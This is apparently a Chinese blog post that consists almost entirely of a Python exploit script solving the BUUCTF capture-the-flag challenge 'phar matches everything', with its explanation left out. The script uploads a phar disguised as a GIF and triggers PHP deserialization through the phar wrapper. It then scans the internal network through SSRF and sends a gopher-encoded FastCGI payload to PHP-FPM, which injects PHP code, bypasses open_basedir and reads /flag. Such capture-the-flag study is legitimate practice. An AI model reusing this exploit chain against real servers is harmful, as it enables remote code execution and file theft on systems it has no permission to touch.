本文主要是介绍[BUUCTF]phar matches everything,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
文章目录
- 写在前面
- 脚本
写在前面
网上一堆水文章,看我脚本再理解下就行了,省略分析步骤
脚本
import os
import time
import random
import sys
from io import BytesIO
import requests
import base64
import re
from urllib.parse import quotePY2 = True if sys.version_info.major == 2 else Falsedef force_bytes(s):if isinstance(s, bytes):return selse:return s.encode('utf-8', 'strict')def bchr(i):if PY2:return force_bytes(chr(i))else:return bytes([i])def bord(c):if isinstance(c, int):return celse:return ord(c)class FastCGIClient:"""A Fast-CGI Client for Python"""# private__FCGI_VERSION = 1__FCGI_ROLE_RESPONDER = 1__FCGI_ROLE_AUTHORIZER = 2__FCGI_ROLE_FILTER = 3__FCGI_TYPE_BEGIN = 1__FCGI_TYPE_ABORT = 2__FCGI_TYPE_END = 3__FCGI_TYPE_PARAMS = 4__FCGI_TYPE_STDIN = 5__FCGI_TYPE_STDOUT = 6__FCGI_TYPE_STDERR = 7__FCGI_TYPE_DATA = 8__FCGI_TYPE_GETVALUES = 9__FCGI_TYPE_GETVALUES_RESULT = 10__FCGI_TYPE_UNKOWNTYPE = 11__FCGI_HEADER_SIZE = 8# request stateFCGI_STATE_SEND = 1FCGI_STATE_ERROR = 2FCGI_STATE_SUCCESS = 3def __init__(self, host, port, timeout, keepalive):self.host = hostself.port = portself.timeout = timeoutif keepalive:self.keepalive = 1else:self.keepalive = 0self.sock = Noneself.requests = dict()def __encodeFastCGIRecord(self, fcgi_type, content, requestid):length = len(content)buf = bchr(FastCGIClient.__FCGI_VERSION) \+ bchr(fcgi_type) \+ bchr((requestid >> 8) & 0xFF) \+ bchr(requestid & 0xFF) \+ bchr((length >> 8) & 0xFF) \+ bchr(length & 0xFF) \+ bchr(0) \+ bchr(0) \+ contentreturn bufdef __encodeNameValueParams(self, name, value):nLen = len(name)vLen = len(value)record = b''if nLen < 128:record += bchr(nLen)else:record += bchr((nLen >> 24) | 0x80) \+ bchr((nLen >> 16) & 0xFF) \+ bchr((nLen >> 8) & 0xFF) \+ bchr(nLen & 0xFF)if vLen < 128:record += bchr(vLen)else:record += bchr((vLen >> 24) | 0x80) \+ bchr((vLen >> 16) & 0xFF) \+ bchr((vLen >> 8) & 0xFF) \+ bchr(vLen & 0xFF)return record + name + valuedef __decodeFastCGIHeader(self, stream):header = dict()header['version'] = bord(stream[0])header['type'] = bord(stream[1])header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])header['paddingLength'] = bord(stream[6])header['reserved'] = bord(stream[7])return headerdef __decodeFastCGIRecord(self, buffer):header = buffer.read(int(self.__FCGI_HEADER_SIZE))if not header:return Falseelse:record = self.__decodeFastCGIHeader(header)record['content'] = b''if 'contentLength' in record.keys():contentLength = int(record['contentLength'])record['content'] += buffer.read(contentLength)if 'paddingLength' in record.keys():skiped = buffer.read(int(record['paddingLength']))return recorddef request(self, nameValuePairs={}, post=''):# if not self.__connect():# print('connect failure! please check your fasctcgi-server !!')# returnrequestId = random.randint(1, (1 << 16) - 1)self.requests[requestId] = dict()request = b""beginFCGIRecordContent = bchr(0) \+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \+ bchr(self.keepalive) \+ bchr(0) * 5request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,beginFCGIRecordContent, requestId)paramsRecord = b''if nameValuePairs:for (name, value) in nameValuePairs.items():name = force_bytes(name)value = force_bytes(value)paramsRecord += self.__encodeNameValueParams(name, value)if paramsRecord:request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)if post:request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)return requestdef __waitForResponse(self, requestId):data = b''while True:buf = self.sock.recv(512)if not len(buf):breakdata += bufdata = BytesIO(data)while True:response = self.__decodeFastCGIRecord(data)if not response:breakif response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:self.requests['state'] = FastCGIClient.FCGI_STATE_ERRORif requestId == int(response['requestId']):self.requests[requestId]['response'] += response['content']if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:self.requests[requestId]return self.requests[requestId]['response']def __repr__(self):return "fastcgi connect host:{} port:{}".format(self.host, self.port)def upload(session, index_url, filename) -> str:file = {'fileToUpload': (filename + '.gif', open(filename, 'rb'), 'image/gif', {})}r = session.post(index_url + 'upload.php', files=file)ptr = re.compile(r'.{10}\.gif')upload_file_name = ptr.search(r.text).group()return upload_file_namedef force_text(s):if issubclass(type(s), str):return sif isinstance(s, bytes):s = str(s, 'utf-8', 'strict')else:s = str(s)return sdef generate_code_payload(host, port, code):client = FastCGIClient(host, port, 3, 0)params = dict()documentRoot = "/"uri = "/var/www/html/index.php"content = "<?php " + code + "exit();?>"params = {'GATEWAY_INTERFACE': 'FastCGI/1.0','REQUEST_METHOD': 'POST','SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),'SCRIPT_NAME': uri,'QUERY_STRING': '','REQUEST_URI': uri,'DOCUMENT_ROOT': documentRoot,'SERVER_SOFTWARE': 'php/fcgiclient','REMOTE_ADDR': '127.0.0.1','REMOTE_PORT': '11451','SERVER_ADDR': '127.0.0.1','SERVER_PORT': '80','SERVER_NAME': "localhost",'SERVER_PROTOCOL': 'HTTP/1.1','CONTENT_TYPE': 'application/text','CONTENT_LENGTH': "%d" % len(content),'PHP_VALUE': 'auto_prepend_file = php://input\nopen_basedir = /','PHP_ADMIN_VALUE': 'allow_url_include = On'}return client.request(params, content)def getFlag(ip, port):write_payload = generate_code_payload(ip, port,f"mkdir('/tmp/fuck');chdir('/tmp/fuck');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));readfile('/flag');")return f"gopher://{ip}:{port}/_" + quote(write_payload)def get_ip_pre(url, command):rs = requests.session()# f = "php 1.php 10.0.124." + str(i)f = 'php 1.php ' + commandos.system(f)name = upload(rs, url, "phar.gif")data = {'name': 'phar://./uploads/' + name,'submit': ''}r = rs.post(url + "catchmime.php?careful=O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D",data=data)ipp = r.text.split(' ')[-5].split("\n")[-1].split(".")[0:-1]ipp = ".".join(ipp) + "."return ippdef generate_exec(url, command):rs = requests.session()f = 'php 1.php ' + commandos.system(f)name = upload(rs, url, "phar.gif")data = {'name': 'phar://./uploads/' + name,'submit': ''}r = rs.post(url + "catchmime.php?careful=O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D",data=data)return r.textif __name__ == '__main__':url = 'http://a1cead5d-bdbc-4634-9d51-a4bbad9c06bd.node4.buuoj.cn:81/'ip_pre = get_ip_pre(url, "file:///proc/net/arp")time.sleep(1)for i in range(5, 256):r = generate_exec(url, ip_pre + str(i))if "PHP-FPM" in r:ip = ip_pre + str(i)atk = getFlag(ip, '9000')time.sleep(1)r = generate_exec(url, atk)print(re.findall("flag\{.*}",r)[0])exit()time.sleep(1)
这篇关于[BUUCTF]phar matches everything的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!